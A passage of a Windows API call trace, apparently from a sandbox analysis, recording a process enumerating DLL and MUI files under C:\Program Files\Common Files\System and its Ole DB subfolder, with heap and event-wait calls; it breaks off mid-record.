lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0214.839] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0214.839] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0214.841] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0214.841] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0214.841] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0214.841] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0214.841] GetProcessHeap () returned 0xc10000 [0214.841] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.843] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0214.843] GetProcessHeap () returned 0xc10000 [0214.843] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0214.845] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.846] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.846] GetProcessHeap () returned 0xc10000 [0214.846] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0214.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.847] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.847] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0214.847] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0214.847] ResetEvent (hEvent=0x2b8) returned 1 [0214.848] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.196] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0215.196] ResetEvent (hEvent=0x2b8) returned 1 [0215.196] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.197] ResetEvent (hEvent=0x2b8) returned 1 [0215.197] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.198] ResetEvent (hEvent=0x2b8) returned 1 [0215.198] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.825] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0215.826] ResetEvent (hEvent=0x2b8) returned 1 [0215.826] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.827] ResetEvent (hEvent=0x2b8) returned 1 [0215.827] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0215.830] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0215.830] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0215.830] GetProcessHeap () returned 0xc10000 [0215.830] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0215.831] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0215.831] ResetEvent (hEvent=0x2b8) returned 1 [0215.831] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.298] ResetEvent (hEvent=0x2b8) returned 1 [0216.299] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.514] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0216.515] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0216.515] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0216.515] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0216.516] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0216.516] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0216.516] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0216.516] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0216.516] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0216.517] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0216.517] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0216.517] ResetEvent (hEvent=0x2b8) returned 1 [0216.517] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.523] ResetEvent (hEvent=0x2b8) returned 1 [0216.523] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.532] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0216.532] ResetEvent (hEvent=0x2b8) returned 1 [0216.532] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.538] ResetEvent (hEvent=0x2b8) returned 1 [0216.538] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.548] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0216.549] ResetEvent (hEvent=0x2b8) returned 1 [0216.549] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.554] ResetEvent (hEvent=0x2b8) returned 1 [0216.554] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.720] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0216.720] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0216.721] GetProcessHeap () returned 0xc10000 [0216.721] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0216.721] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0216.721] ResetEvent (hEvent=0x2b8) returned 1 [0216.721] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.820] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0216.820] ResetEvent (hEvent=0x2b8) returned 1 [0216.820] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.855] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, 